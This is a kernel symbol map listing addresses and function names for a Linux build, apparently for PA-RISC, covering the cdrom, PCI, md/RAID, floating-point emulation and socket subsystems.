101db13c t sg_proc_devstrs_read
101db1e0 t sg_proc_devstrs_info
101db268 t .L2706
101db2d8 t .L2707
101db2dc t sg_proc_host_read
101db380 t sg_proc_host_info
101db4d4 t sg_proc_hosthdr_read
101db578 t sg_proc_hosthdr_info
101db5f4 t sg_proc_hoststrs_read
101db698 t sg_proc_hoststrs_info
101db7e8 t sg_proc_version_read
101db88c t sg_proc_version_info
101db918 T register_cdrom
101db958 t .L679
101db988 t .L683
101dba78 t .L708
101dbac0 t .L730
101dbc24 t .L731
101dbc3c T unregister_cdrom
101dbc3c t .L732
101dbc68 t .L734
101dbcd0 t .L745
101dbcfc t .L750
101dbd1c T cdrom_find_device
101dbd1c t .L751
101dbd3c t cdrom_open
101dbd68 t .L760
101dbdd0 t .L770
101dbde4 t .L766
101dbe1c t .L771
101dbe38 t .L772
101dbe48 t .L773
101dbe48 t open_for_data
101dbe80 t .L775
101dbea4 t .L777
101dbea8 t .L778
101dbeac t .L827
101dbeb0 t .L784
101dbef8 t .L809
101dbf28 t .L831
101dbf44 t .L794
101dbf50 t .L801
101dbf74 t .L802
101dbf94 t .L832
101dbff8 t .L833
101dc00c t .L834
101dc018 t .L835
101dc02c t .L796
101dc04c t .L836
101dc058 t .L837
101dc070 t .L838
101dc08c t .L839
101dc098 t .L779
101dc0c0 t .L781
101dc0f8 t .L840
101dc14c t .L841
101dc160 t .L842
101dc16c t .L843
101dc188 t .L844
101dc194 t .L845
101dc1a8 t .L846
101dc1b8 t .L847
101dc1b8 t check_for_audio_disc
101dc1f0 t .L849
101dc220 t .L852
101dc224 t .L851
101dc280 t .L854
101dc2a8 t .L856
101dc2e0 t .L881
101dc31c t .L882
101dc328 t .L864
101dc33c t .L883
101dc354 t .L884
101dc360 t .L885
101dc36c t .L860
101dc380 t .L886
101dc38c t .L887
101dc3a0 t .L888
101dc3b0 t .L889
101dc3b0 t cdrom_release
101dc3e8 t .L891
101dc4e4 t .L896
101dc50c t .L909
101dc530 t .L910
101dc530 t cdrom_read_mech_status
101dc62c t cdrom_slot_status
101dc658 t .L923
101dc6c4 T cdrom_number_of_slots
101dc6c4 t .L932
101dc6f0 t .L934
101dc72c t .L937
101dc72c t cdrom_load_unload
101dc750 t .L939
101dc834 T cdrom_select_disc
101dc834 t .L951
101dc858 t .L953
101dc8a4 t .L952
101dc93c t .L967
101dc94c t .L968
101dc94c t media_changed
101dc9ec t cdrom_media_changed
101dca40 T cdrom_count_tracks
101dca8c t .L977
101dcad0 t .L976
101dcb74 t .L984
101dcbbc t .L1009
101dcbd8 t .L1010
101dcc18 t .L1011
101dcc18 t sanitize_format
101dccc0 T init_cdrom_command
101dcd34 t setup_report_key
101dcdc4 t setup_send_key
101dce24 t dvd_do_auth
101dcf00 t .L1052
101dcf74 t .L1113
101dcf80 t .L1067
101dcffc t .L1114
101dd008 t .L1055
101dd064 t .L1115
101dd070 t .L1058
101dd0e0 t .L1116
101dd0ec t .L1070
101dd160 t .L1117
101dd180 t .L1061
101dd248 t .L1118
101dd254 t .L1064
101dd2a8 t .L1119
101dd2b0 t .L1073
101dd2e4 t .L1120
101dd2f0 t .L1076
101dd384 t .L1121
101dd390 t .L1079
101dd3e4 t .L1122
101dd3e4 t dvd_read_physical
101dd5a8 t dvd_read_copyright
101dd65c t dvd_read_disckey
101dd70c t .L1137
101dd740 t .L1139
101dd740 t dvd_read_bca
101dd824 t dvd_read_manufact
101dd924 t .L1150
101dd938 t .L1152
101dd938 t dvd_read_struct
101dd994 t .L1153
101dd9ac t .L1168
101dd9b8 t .L1169
101dd9c4 t .L1170
101dd9d0 t .L1171
101dd9e0 T cdrom_mode_sense
101dda48 T cdrom_mode_select
101ddab8 t cdrom_read_subchannel
101ddbf0 t cdrom_read_cd
101ddc7c t cdrom_read_block
101ddd58 t cdrom_ioctl
101ddf08 t .L1192
101ddf30 t .L1189
101ddfd8 t .L1472
101ddfe4 t .L1473
101de0f0 t .L1273
101de158 t .L1474
101de164 t .L1475
101de198 t .L1249
101de1d4 t .L1476
101de234 t .L1221
101de328 t .L1477
101de334 t .L1232
101de35c t .L1478
101de3e8 t .L1242
101de3f8 t .L1479
101de404 t .L1480
101de460 t .L1481
101de4b4 t .L1279
101de4fc t .L1482
101de524 t .L1483
101de530 t .L1285
101de5b0 t .L1379
101de5c4 t .L1484
101de5d0 t .L1295
101de5e4 t .L1485
101de848 t .L1320
101de86c t .L1486
101de888 t .L1324
101de8d4 t .L1487
101de9f4 t .L1341
101dea38 t .L1488
101dea54 t .L1329
101deaa4 t .L1489
101deaf4 t .L1333
101deb50 t .L1490
101deb88 t .L1267
101debb4 t .L1491
101debd4 t .L1271
101debf0 t .L1492
101debf0 t cdrom_switch_blocksize
101deccc t cdrom_do_cmd
101ded6c t .L1506
101dedb4 t .L1510
101deddc t mmc_ioctl
101df330 t .L1511
101df484 t .L1572
101df4c4 t .L1779
101df4d0 t .L1552
101df53c t .L1780
101df544 t .L1569
101df588 t .L1781
101df72c t .L1559
101df870 t .L1782
101df8bc t .L1783
101df8c8 t .L1555
101df954 t .L1784
101df990 t .L1576
101dfa08 t .L1785
101dfa2c t .L1582
101dfa80 t .L1786
101dfaa4 t .L1588
101dfad0 t .L1787
101dfadc t .L1788
101dfaec t .L1591
101dfb1c t .L1789
101dfb2c t .L1595
101dfb78 T cdrom_get_track_info
101dfb78 t .L1790
101dfc60 T cdrom_get_disc_info
101dfd24 T cdrom_get_last_written
101dfea0 T cdrom_get_next_writable
101dffac T cdrom_sysctl_info
101e002c t .L1828
101e0580 T cdrom_update_settings
101e0580 t .L1935
101e06a4 t cdrom_sysctl_handler
101e07d8 t cdrom_sysctl_register
101e0880 t cdrom_sysctl_unregister
101e08a0 T pci_find_slot
101e08e8 T pci_find_subsys
101e0968 T pci_find_device
101e0990 T pci_find_class
101e09d4 T pci_find_capability
101e0a7c t .L714
101e0ac8 t .L724
101e0adc T pci_find_parent_resource
101e0b6c T pci_set_power_state
101e0be8 t .L754
101e0d18 t .L760
101e0d1c T pci_enable_device
101e0d54 T pci_get_interrupt_pin
101e0de4 T pci_match_device
101e0e80 t pci_announce_device
101e0f10 T pci_register_driver
101e0fac T pci_unregister_driver
101e102c t run_sbin_hotplug
101e1168 T pci_insert_device
101e1210 t pci_free_resources
101e1264 T pci_remove_device
101e12dc T pci_dev_driver
101e1320 T pci_read_config_byte
101e1354 T pci_read_config_word
101e139c T pci_read_config_dword
101e13e8 T pci_write_config_byte
101e1420 T pci_write_config_word
101e146c T pci_write_config_dword
101e14b8 T pci_set_master
101e14f0 t .L888
101e1514 t .L890
101e1514 t pci_size
101e152c t pci_read_bases
101e1798 t pci_read_irq
101e17e8 T pci_setup_device
101e18f4 t .L977
101e1980 t .L991
101e1984 t pci_do_fixups
101e1a18 T pci_fixup_device
101e1a64 T pcibios_present
101e1a7c T pcibios_find_class
101e1b04 T pcibios_find_device
101e1b9c T pcibios_read_config_byte
101e1bf0 T pcibios_read_config_word
101e1c44 T pcibios_read_config_dword
101e1c98 T pcibios_write_config_byte
101e1cf0 T pcibios_write_config_word
101e1d48 T pcibios_write_config_dword
101e1d9c T pci_class_name
101e1dd8 t pci_assign_bus_resource
101e1eec T pci_assign_resource
101e1fec t proc_bus_pci_lseek
101e2064 t proc_bus_pci_read
101e2300 t proc_bus_pci_write
101e2554 t get_pci_dev_info
101e276c T pci_proc_attach_device
101e2840 T pci_proc_detach_device
101e2888 t sprint_dev_config
101e29d4 t .L1095
101e2a64 t .L1094
101e2ae8 t .L1100
101e2b38 t .L1101
101e2b68 t pci_read_proc
101e2c78 T sys_pciconfig_read
101e2dac t .L611
101e2e68 t .L748
101e2e74 t .L749
101e2e7c T sys_pciconfig_write
101e2f58 t .L835
101e2f90 t .L836
101e2fb8 t .L833
101e2fdc t dummycon_startup
101e2fe8 t dummycon_init
101e3020 t .L381
101e303c t .L382
101e303c t dummycon_dummy
101e3044 t linear_run
101e320c t linear_stop
101e3238 t linear_make_request
101e32d4 t .L1415
101e3360 t .L1416
101e3364 t linear_status
101e3398 t linear_exit
101e33b4 t create_strip_zones
101e34a8 t .L1386
101e35f4 t .L1404
101e3600 t .L1405
101e3620 t .L1371
101e3690 t .L1406
101e36a0 t .L1372
101e36a8 t .L1369
101e36d4 t .L1407
101e36e4 t .L1408
101e36e4 t raid0_run
101e3938 t raid0_stop
101e3984 t raid0_make_request
101e3a10 t .L1455
101e3b14 t .L1461
101e3b28 t .L1462
101e3b3c t .L1463
101e3b40 t raid0_status
101e3b74 t raid0_exit
101e3b90 t raid1_alloc_bh
101e3c40 t .L1367
101e3ce4 t .L1396
101e3ce4 t raid1_grow_bh
101e3d88 t raid1_shrink_bh
101e3dfc t raid1_alloc_r1bh
101e3e2c t .L1447
101e3ec0 t .L1451
101e3f1c t raid1_grow_r1bh
101e3fbc t raid1_shrink_r1bh
101e3ffc t raid1_alloc_buf
101e40f0 t raid1_grow_buffers
101e41b8 t raid1_shrink_buffers
101e4210 t raid1_map
101e4278 t raid1_reschedule_retry
101e42dc t raid1_end_bh_io
101e4330 t .L1573
101e4374 t .L1577
101e43ac t .L1578
101e43ec t .L1586
101e43f8 t .L1587
101e442c t .L1588
101e443c T raid1_end_request
101e4474 t .L1593
101e4498 t .L1589
101e44d4 t .L1603
101e4508 t .L1604
101e4524 t .L1605
101e4528 t raid1_read_balance
101e46dc t raid1_make_request
101e4734 t .L1647
101e495c t .L1685
101e49a8 t .L1694
101e49f0 t .L1703
101e4a60 t .L1704
101e4aac t .L1705
101e4aac t raid1_status
101e4b84 t mark_disk_bad
101e4c6c t raid1_error
101e4cc0 t .L1724
101e4d00 t .L1738
101e4d10 t print_raid1_conf
101e4db0 t .L1739
101e4ddc t .L1748
101e4de0 t close_sync
101e4fd0 t raid1_diskop
101e50c8 t .L1855
101e54bc t .L1887
101e55dc t raid1d
101e565c t .L1889
101e56f8 t .L1942
101e5724 t .L1943
101e5890 t .L1911
101e58f0 t .L1944
101e5948 t .L1945
101e597c t .L1946
101e5980 t raid1syncd
101e59c0 t .L1951
101e59f0 t .L1954
101e5a1c t .L1957
101e5a2c t .L1958
101e5a2c t raid1_sync_request
101e5a84 t .L1961
101e5d18 t .L2017
101e5e10 t .L2043
101e5eb4 t .L2044
101e5edc t end_sync_read
101e5f04 t .L2049
101e5f34 t .L2052
101e5f38 t end_sync_write
101e5f68 t .L2054
101e5f84 t .L2057
101e6018 t .L2059
101e6050 t .L2064
101e6068 t .L2070
101e609c t .L2071
101e60a4 t .L2072
101e60c0 t .L2073
101e60c0 t __check_consistency
101e619c t .L2084
101e6260 t .L2094
101e6264 t __check_consistency
101e62b0 t .L2204
101e6420 t .L2241
101e64a4 t check_consistency
101e64c4 t check_consistency
101e64e4 t raid1_run
101e6544 t .L2165
101e6644 t .L2104
101e6648 t .L2182
101e67d8 t .L2147
101e68e8 t .L2192
101e69e4 t .L2193
101e6a0c t .L2194
101e6a80 t .L2195
101e6b0c t .L2196
101e6b20 t .L2197
101e6b24 t raid1_stop_resync
101e6b6c t raid1_restart_resync
101e6bd8 t raid1_stop
101e6c44 t raid1_exit
101e6c60 t release_stripe
101e6ca8 t .L1391
101e6d04 t .L1386
101e6d34 t .L1394
101e6d74 t .L1395
101e6d7c t .L1396
101e6d7c t remove_hash
101e6da4 t get_free_stripe
101e6e18 t shrink_buffers
101e6e8c t grow_buffers
101e6f90 t shrink_stripe_cache
101e701c t __find_stripe
101e706c t get_active_stripe
101e71a4 t .L1532
101e71a8 t .L1481
101e71e4 t .L1480
101e74c8 t .L1610
101e7534 t .L1611
101e75d0 t .L1612
101e7614 t grow_stripes
101e772c t shrink_stripes
101e77f0 t raid5_end_read_request
101e791c t .L1681
101e7920 t .L1645
101e7974 t .L1676
101e79a8 t .L1688
101e79ec t .L1689
101e7a04 t .L1690
101e7a50 t .L1691
101e7a54 t raid5_end_write_request
101e7ab8 t .L1703
101e7b0c t .L1718
101e7b10 t .L1692
101e7b5c t .L1713
101e7b90 t .L1724
101e7bd4 t .L1725
101e7bec t .L1726
101e7c08 t .L1727
101e7c20 t .L1728
101e7c24 t raid5_build_block
101e7cc8 t raid5_error
101e7f04 t raid5_compute_sector
101e7fc0 t .L1760
101e7fd8 t .L1749
101e800c t .L1767
101e8068 t .L1768
101e8070 t compute_block
101e8114 t .L1777
101e8120 t .L1771
101e8194 t .L1785
101e81a0 t .L1786
101e81a0 t compute_parity
101e83cc t .L1833
101e83e8 t .L1871
101e8430 t .L1842
101e8448 t .L1872
101e84cc t .L1792
101e8540 t .L1794
101e855c t .L1873
101e8574 t .L1874
101e8574 t add_stripe_bh
101e8608 t handle_stripe
101e88ec t .L1959
101e8a7c t .L2022
101e8b80 t .L2063
101e8bb0 t .L2055
101e8c54 t .L2144
101e8c98 t .L2145
101e8cf0 t .L2033
101e8da8 t .L2146
101e8de8 t .L2147
101e90b4 t .L2148
101e9208 t raid5_make_request
101e92ec T device_bsize
101e931c t raid5_sync_request
101e9468 t raid5d
101e9540 t raid5syncd
101e9580 t .L2190
101e95a8 t .L2193
101e95b8 t .L2186
101e95d8 t .L2198
101e95f0 t .L2195
101e9604 t .L2199
101e9610 t .L2200
101e9618 t .L2201
101e9618 t raid5_run
101e9674 t .L2330
101e97d8 t .L2255
101e989c t .L2250
101e98d8 t .L2337
101e9904 t .L2338
101e99a0 t .L2339
101e9a68 t .L2306
101e9a6c t .L2308
101e9adc t .L2340
101e9b04 t .L2341
101e9b2c t .L2342
101e9ba8 t .L2343
101e9bd4 t .L2344
101e9bfc t .L2345
101e9c7c t .L2346
101e9cbc t raid5_stop_resync
101e9d04 t raid5_restart_resync
101e9d98 t raid5_stop
101e9e00 t raid5_status
101e9f0c t print_raid5_conf
101e9fc8 t .L2367
101e9ff0 t .L2377
101e9ff4 t raid5_diskop
101ea0e8 t .L2447
101ea500 t .L2477
101ea624 t raid5_exit
101ea640 t xor_8regs_2
101ea6dc t xor_8regs_3
101ea7c8 t xor_8regs_4
101ea904 t xor_8regs_5
101eaa90 t xor_32regs_2
101eab54 t xor_32regs_3
101eac78 t xor_32regs_4
101eade4 t xor_32regs_5
101eaf90 t xor_8regs_p_2
101eb044 t xor_8regs_p_3
101eb154 t xor_8regs_p_4
101eb2c0 t xor_8regs_p_5
101eb488 t xor_32regs_p_2
101eb564 t xor_32regs_p_3
101eb6ac t xor_32regs_p_4
101eb848 t xor_32regs_p_5
101eba30 T xor_block
101ebb08 t do_xor_speed
101ebc24 t calibrate_xor_block
101ebd50 T add_mddev_mapping
101ebde0 T del_mddev_mapping
101ebe6c t md_make_request
101ebf40 t alloc_mddev
101ec080 T find_gendisk
101ec0b4 T find_rdev_nr
101ec0e8 T find_rdev
101ec120 T partition_name
101ec224 t calc_dev_sboffset
101ec25c t calc_dev_size
101ec2a8 t .L1452
101ec2cc t .L1454
101ec2d0 t zoned_raid_size
101ec37c T md_check_ordering
101ec3d0 t .L1473
101ec440 t .L1509
101ec460 t .L1510
101ec4d8 t .L1511
101ec4ec t .L1512
101ec4f0 t remove_descriptor
101ec56c t alloc_array_sb
101ec5a4 t .L1528
101ec5e4 t .L1529
101ec5e4 t alloc_disk_sb
101ec668 t free_disk_sb
101ec698 t .L1536
101ec6d0 t .L1538
101ec6d0 t mark_rdev_faulty
101ec6fc t .L1539
101ec71c t .L1542
101ec71c t read_disk_sb
101ec7e4 t .L1545
101ec82c t .L1551
101ec83c t .L1552
101ec840 t calc_sb_csum
101ec878 t check_disk_sb
101ec8d8 t .L1556
101ec91c t .L1562
101ec94c t .L1563
101ec95c t .L1564
101ec960 t dev_unit
101ec9ac t match_dev_unit
101eca28 t match_mddev_units
101eca8c t bind_rdev_to_array
101ecad8 t .L1585
101ecb80 t .L1589
101ecb80 t unbind_rdev_from_array
101ecbf4 t .L1590
101ecc10 t .L1594
101ecc10 t lock_rdev
101ecc6c t unlock_rdev
101eccd0 t export_rdev
101ecdac t kick_rdev_from_array
101ecdd0 t export_array
101ece3c t .L1610
101ecea4 t .L1620
101ecea8 t free_mddev
101ecf64 t .L1621
101ecf94 t .L1642
101ecf94 t print_desc
101ecff0 t print_sb
101ed12c t print_rdev
101ed198 t .L1654
101ed1b8 T md_print_devices
101ed1b8 t .L1655
101ed29c t .L1668
101ed320 t .L1680
101ed320 t sb_equal
101ed408 t uuid_equal
101ed458 t find_rdev_all
101ed490 t write_disk_sb
101ed568 t .L1706
101ed674 t .L1718
101ed6ac t set_this_disk
101ed720 t .L1726
101ed74c t .L1728
101ed74c t sync_sbs
101ed7dc T md_update_sb
101ed9ac t md_import_device
101edbe8 t analyze_sbs
101edc6c t .L1790
101edd08 t .L1794
101ede88 t .L1820
101ee070 t .L1855
101ee07c t .L1844
101ee1dc t .L1953
101ee2a8 t .L1954
101ee314 t .L1955
101ee358 t .L1956
101ee3dc t .L1957
101ee408 t .L1958
101ee40c t device_size_calculation
101ee46c t .L1960
101ee4d4 t .L1968
101ee5fc t .L2005
101ee620 t .L2006
101ee668 t do_md_run
101eea60 t restart_array
101eeb04 t do_md_stop
101eeb64 t .L2098
101eebe0 t .L2107
101eebf8 t .L2109
101eeca8 t .L2134
101eecc4 t .L2135
101eed24 t .L2136
101eed30 t .L2137
101eed50 T detect_old_array
101eed70 t autorun_array
101eee18 t .L2142
101eee50 t .L2152
101eee54 t autorun_devices
101eef50 t .L2158
101eefe8 t .L2154
101eeff4 t .L2155
101ef0a0 t .L2195
101ef0d4 t .L2196
101ef100 t .L2197
101ef104 t autostart_array
101ef164 t .L2200
101ef214 t .L2220
101ef2d4 t .L2221
101ef2f4 t .L2222
101ef2f8 t get_version
101ef338 t get_array_info
101ef468 t get_disk_info
101ef534 t add_new_disk
101ef6a4 t .L2248
101ef6f8 t .L2262
101ef81c t hot_remove_disk
101ef9ac t hot_add_disk
101efae8 t .L2294
101efbbc t .L2305
101efbc8 t .L2321
101efc9c t .L2322
101efcf4 t set_array_info
101efe48 t set_disk_info
101efe6c t clear_array
101efe90 t write_raid_info
101efeb4 t protect_array
101efed8 t unprotect_array
101efefc t set_disk_faulty
101eff4c t md_ioctl
101f0064 t .L2428
101f0080 t .L2351
101f00fc t .L2418
101f0118 t .L2566
101f012c t .L2584
101f01a4 t .L2585
101f047c t .L2586
101f04c4 t .L2412
101f04fc t .L2587
101f0540 t .L2588
101f0548 t .L2589
101f0580 t .L2590
101f059c t .L2591
101f05c8 t .L2346
101f05dc t .L2592
101f0604 t .L2593
101f06b4 t .L2594
101f06bc t md_open
101f072c t md_release
101f079c T md_thread
101f0824 t .L2617
101f0838 t .L2618
101f0884 t .L2624
101f0904 t .L2647
101f091c t .L2643
101f0950 t .L2648
101f0958 t .L2649
101f0960 t .L2650
101f0964 T md_wakeup_thread
101f09a0 T md_register_thread
101f0a90 t .L2658
101f0ac0 t .L2660
101f0ad0 T md_interrupt_thread
101f0b10 t .L2661
101f0b30 T md_unregister_thread
101f0b30 t .L2664
101f0bc4 t .L2668
101f0bc8 t .L2665
101f0be0 t .L2670
101f0bf4 t .L2671
101f0bf8 T md_recover_arrays
101f0c28 t .L2672
101f0c44 T md_error
101f0c44 t .L2675
101f0d2c t status_unused
101f0e24 t status_resync
101f10fc t md_status_read_proc
101f11cc t .L2761
101f134c t .L2759
101f13e0 t .L2763
101f1420 t .L2764
101f1424 T register_md_personality
101f1478 T unregister_md_personality
101f14c0 t get_spare
101f1510 t .L2772
101f15a4 t .L2789
101f15a8 T md_sync_acct
101f1794 t is_mddev_idle
101f1a08 T md_done_sync
101f1a4c T md_do_sync
101f1ac4 t .L2921
101f1bd0 t .L2941
101f1c48 t .L2995
101f1c60 t .L3008
101f1e40 t .L3009
101f1edc t .L3010
101f1f10 T md_do_recovery
101f1f10 t .L3011
101f1f48 t .L3013
101f1f64 t .L3014
101f204c t .L3028
101f20bc t .L3041
101f20e4 t .L3055
101f2144 t .L3056
101f2174 t .L3038
101f218c t .L3057
101f2240 t .L3058
101f2250 t .L3059
101f2254 T md_notify_reboot
101f2318 t md_geninit
101f2488 T _gsc_readb
101f249c T _gsc_readw
101f24b0 T _gsc_readl
101f24bc T _gsc_readq
101f2518 T _gsc_writeb
101f252c T _gsc_writew
101f2540 T _gsc_writel
101f2548 T _gsc_writeq
101f2598 T gsc_alloc_irq
101f25d8 t .L698
101f25fc t .L699
101f2600 T gsc_claim_irq
101f2658 t .L703
101f2680 t .L704
101f2684 t dino_cfg_read8
101f2720 t dino_cfg_read16
101f27c8 t dino_cfg_read32
101f2858 t dino_cfg_write8
101f2920 t dino_cfg_write16
101f29f8 t dino_cfg_write32
101f2ab0 t dino_in8
101f2b10 t dino_in16
101f2b80 t dino_in32
101f2bdc t dino_out8
101f2c4c t dino_out16
101f2ccc t dino_out32
101f2d34 t dino_mask_irq
101f2d84 t .L772
101f2dbc t .L774
101f2dbc t dino_unmask_irq
101f2e10 t .L775
101f2e64 t .L780
101f2e64 t dino_enable_irq
101f2ea0 t dino_isr
101f2fbc T busdevice_alloc_irq
101f30b0 T busdev_barked
101f30e0 t .L692
101f3104 t .L694
101f3108 t busdev_disable_irq
101f3154 t busdev_enable_irq
101f319c t busdev_mask_irq
101f31a0 t busdev_unmask_irq
101f31a4 T register_busdevice
101f328c t lasi_find_irq
101f3314 t lasi_power_off
101f3340 t asp_find_irq
101f33d4 t wax_find_irq
101f340c t wax_hil_nmi
101f342c t wax_outb
101f34ac t .L668
101f34c0 t .L669
101f34c0 t wax_outw
101f3540 t .L672
101f3554 t .L673
101f3554 t wax_outl
101f35c0 t .L676
101f35dc t .L677
101f35dc t wax_inb
101f3668 t wax_inw
101f36f4 t wax_inl
101f3780 t wax_eisa_driver_init
101f37d8 T sgl_frnd
101f3988 T dbl_frnd
101f3c8c T handle_fpe
101f3d58 T decode_fpu
101f3e90 t .L35
101f3f58 t .L157
101f3fa4 t .L158
101f4360 T fpudispatch
101f44f0 t .L2
101f4504 t .L62
101f450c t .L63
101f4514 t .L64
101f451c t .L65
101f452c T emfpudispatch
101f46b0 t .L66
101f46c4 t .L122
101f46cc t .L123
101f46d4 t .L124
101f46dc t .L125
101f46ec t decode_0c
101f4750 t .L126
101f4924 t .L480
101f4938 t .L481
101f497c t .L482
101f4990 t .L483
101f49a4 t .L484
101f49b8 t .L485
101f49fc t .L486
101f4a10 t .L487
101f4a24 t .L488
101f4a38 t .L489
101f4a7c t .L490
101f4a90 t .L491
101f4aa4 t .L492
101f4ab8 t .L493
101f4afc t .L494
101f4b10 t .L495
101f4b24 t .L496
101f4b38 t .L497
101f4b7c t .L498
101f4b90 t .L499
101f4ba4 t .L500
101f4bb8 t .L501
101f4bfc t .L502
101f4c10 t .L503
101f4c24 t .L504
101f4c38 t .L505
101f4d00 t .L506
101f4d14 t .L507
101f4d58 t .L508
101f4d6c t .L509
101f4db0 t .L510
101f4dc4 t .L511
101f4e08 t .L512
101f4e1c t .L513
101f4e60 t .L514
101f4e74 t .L515
101f4e90 t .L516
101f4ed0 t .L517
101f4f5c t .L518
101f4f68 t .L358
101f4fb8 t .L519
101f5088 t .L520
101f509c t .L521
101f50e0 t .L522
101f50f4 t .L523
101f51b4 t .L161
101f5230 t decode_0e
101f529c t .L524
101f5470 t .L824
101f5484 t .L825
101f54c8 t .L826
101f54dc t .L827
101f54f0 t .L828
101f5504 t .L829
101f5548 t .L830
101f555c t .L831
101f5570 t .L832
101f5584 t .L833
101f55c8 t .L834
101f55dc t .L835
101f55f0 t .L836
101f5604 t .L837
101f5648 t .L838
101f565c t .L839
101f5670 t .L840
101f5684 t .L841
101f56c8 t .L842
101f56dc t .L843
101f56f0 t .L844
101f5704 t .L845
101f5748 t .L846
101f575c t .L847
101f5770 t .L848
101f5784 t .L849
101f5890 t .L850
101f58a8 t .L851
101f58bc t .L852
101f58d0 t .L853
101f591c t .L854
101f5930 t .L855
101f5944 t .L856
101f5958 t .L857
101f5968 t .L858
101f597c t .L859
101f59fc t .L860
101f5a0c t .L739
101f5ad8 t .L861
101f5aec t .L862
101f5b30 t .L863
101f5b44 t .L864
101f5c24 t decode_06
101f5e10 t .L897
101f5e88 t .L899
101f5ecc t decode_26
101f60a0 t decode_2e
101f6158 t .L918
101f6180 t .L934
101f61e0 t .L935
101f61f8 t .L936
101f61fc t update_status_cbit
101f6284 T sgl_denormalize
101f6358 T dbl_denormalize
101f64ec T dbl_fmpy
101f6da0 T sgl_fmpy
101f745c T sgl_fsqrt
101f765c T dbl_fsqrt
101f7974 T dbl_fadd
101f8218 T dbl_fmpyfadd
101f92e0 T dbl_fmpynfadd
101fa3a4 T sgl_fmpyfadd
101faf38 T sgl_fmpynfadd
101fbac8 T sgl_fadd
101fc154 T dbl_fsub
101fca30 T sgl_fsub
101fd140 T sgl_to_sgl_fcnvfxt
101fd1fc T sgl_to_dbl_fcnvfxt
101fd314 T dbl_to_sgl_fcnvfxt
101fd458 T dbl_to_dbl_fcnvfxt
101fd62c T sgl_to_dbl_fcnvff
101fd774 T dbl_to_sgl_fcnvff
101fdc08 T sgl_to_sgl_fcnvxf
101fdd2c T sgl_to_dbl_fcnvxf
101fdde8 T dbl_to_sgl_fcnvxf
101fdfdc T dbl_to_dbl_fcnvxf
101fe1d8 T sgl_to_sgl_fcnvfx
101fe374 T sgl_to_dbl_fcnvfx
101fe590 T dbl_to_sgl_fcnvfx
101fe850 T dbl_to_dbl_fcnvfx
101feb8c T sgl_to_sgl_fcnvuf
101fec68 T sgl_to_dbl_fcnvuf
101fed00 T dbl_to_sgl_fcnvuf
101fee88 T dbl_to_dbl_fcnvuf
101ff01c T sgl_to_sgl_fcnvfu
101ff19c T sgl_to_dbl_fcnvfu
101ff37c T dbl_to_sgl_fcnvfu
101ff5bc T dbl_to_dbl_fcnvfu
101ff8ac T sgl_to_sgl_fcnvfut
101ff970 T sgl_to_dbl_fcnvfut
101ffa7c T dbl_to_sgl_fcnvfut
101ffb88 T dbl_to_dbl_fcnvfut
101ffd40 T dbl_fdiv
1020061c T sgl_fdiv
10200ca0 T dbl_frem
102011f0 T sgl_frem
102015b0 T dbl_fcmp
102017fc T sgl_fcmp
10201994 T move_addr_to_kernel
102019e4 T move_addr_to_user
10201aa4 t sockfs_statfs
10201ac8 t sockfs_read_super
10201b9c t sockfs_delete_dentry
10201ba4 t sock_map_fd
10201db4 T sockfd_lookup
10201e44 T sock_alloc
10201ef4 t sock_no_open
10201efc T sock_release
10201f54 t .L1667
10201f6c T sock_sendmsg
10201f6c t .L1672
1020204c T sock_recvmsg
102020e4 t .L1684
10202134 t .L1695
10202140 t sock_lseek
1020214c t sock_read
10202168 t .L1697
102021d8 t .L1704
102021d8 t sock_write
102021f4 t .L1705
10202278 t .L1714
10202280 T sock_readv_writev
10202304 t .L1715
10202320 t .L1723
10202324 t sock_readv
1020237c t sock_writev
102023d4 t sock_ioctl
10202404 t sock_poll
1020243c t sock_mmap
10202474 t sock_close
1020249c t .L1750
102024bc t .L1751
102024bc t sock_fasync
102025ac t .L1777
102026a4 T sock_wake_async
102026a4 t .L1801
102026f8 t .L1805
10202718 t .L1823
1020274c t .L1824
10202754 T sock_create
102027b4 t .L1828
10202808 t .L1835
10202838 t .L1839
1020284c t .L1840
1020286c T sys_socket
1020286c t .L1841
1020289c t .L1844
102028bc t .L1848
102028c0 T sys_socketpair
10202988 t .L1903
10202990 t .L1904
102029fc t .L1908
10202a10 T sys_bind
10202a10 t .L1909
10202a9c T sys_listen
10202b04 T sys_accept
10202bd4 t .L1920
10202c08 t .L1928
10202c14 T sys_connect
10202ca8 T sys_getsockname
10202d3c T sys_getpeername
10202dd0 T sys_sendto
10202ed0 T sys_send
10202ef0 T sys_recvfrom
10203010 T sys_recv
10203030 T sys_setsockopt
10203098 t .L1965
102030d4 t .L1966
102030d8 T sys_getsockopt
10203140 t .L1972
1020317c t .L1973
10203180 T sys_shutdown
102031e0 T sys_sendmsg
1020324c t .L1978
10203370 t .L1997
102033b0 T sys_recvmsg
10203418 t .L2000
10203580 t .L2058
102035cc T sock_fcntl
10203608 T sys_socketcall
1020364c t .L2062
102036fc t .L2103
10203704 t .L2104
1020370c t .L2105
10203714 t .L2106
1020371c t .L2107
10203724 t .L2108
1020372c t .L2109
10203738 t .L2110
10203744 t .L2111
10203750 t .L2112
1020376c t .L2113
10203788 t .L2114
10203790 t .L2115
102037a4 t .L2116
102037b8 t .L2117
102037c0 t .L2118
102037c8 T sock_register
102037c8 t .L2119
10203830 T sock_unregister
10203854 T socket_get_info
102038ec t sock_set_timeout
10203994 T sock_setsockopt
10203ab4 t .L1568
10203b60 t .L1590
10203b78 t .L1666
10203e3c t .L1667
10203e94 T sock_getsockopt
10204238 T sk_alloc
102042cc T sk_free
1020432c T sock_wfree
10204390 t .L1791
102043a4 T sock_rfree
102043a4 t .L1793
102043d0 T sock_wmalloc
1020446c T sock_rmalloc
102044ec T sock_kmalloc
1020457c T sock_kfree_s
102045c8 t sock_wait_for_wmem
10204718 T sock_alloc_send_skb
102048b4 T __lock_sock
1020498c T __release_sock
102049e8 T sklist_remove_socket
10204a5c t .L1921
10204a70 T sklist_insert_socket
10204a70 t .L1929
10204abc t sklist_destroy_timer
10204adc T sklist_destroy_socket
10204b00 t .L1940
10204b54 t .L1962
10204bb0 t .L1956
10204c04 t .L1963
10204c08 T sock_no_release
10204c10 T sock_no_bind
10204c18 T sock_no_connect
10204c20 T sock_no_socketpair
10204c28 T sock_no_accept
10204c30 T sock_no_getname
10204c38 T sock_no_poll
10204c40 T sock_no_ioctl
10204c48 T sock_no_listen
10204c50 T sock_no_shutdown
10204c58 T sock_no_setsockopt
10204c60 T sock_no_getsockopt
10204c68 T sock_no_fcntl
10204cd4 T sock_no_sendmsg
10204cdc T sock_no_recvmsg
10204ce4 T sock_no_mmap
10204cec T sock_def_wakeup
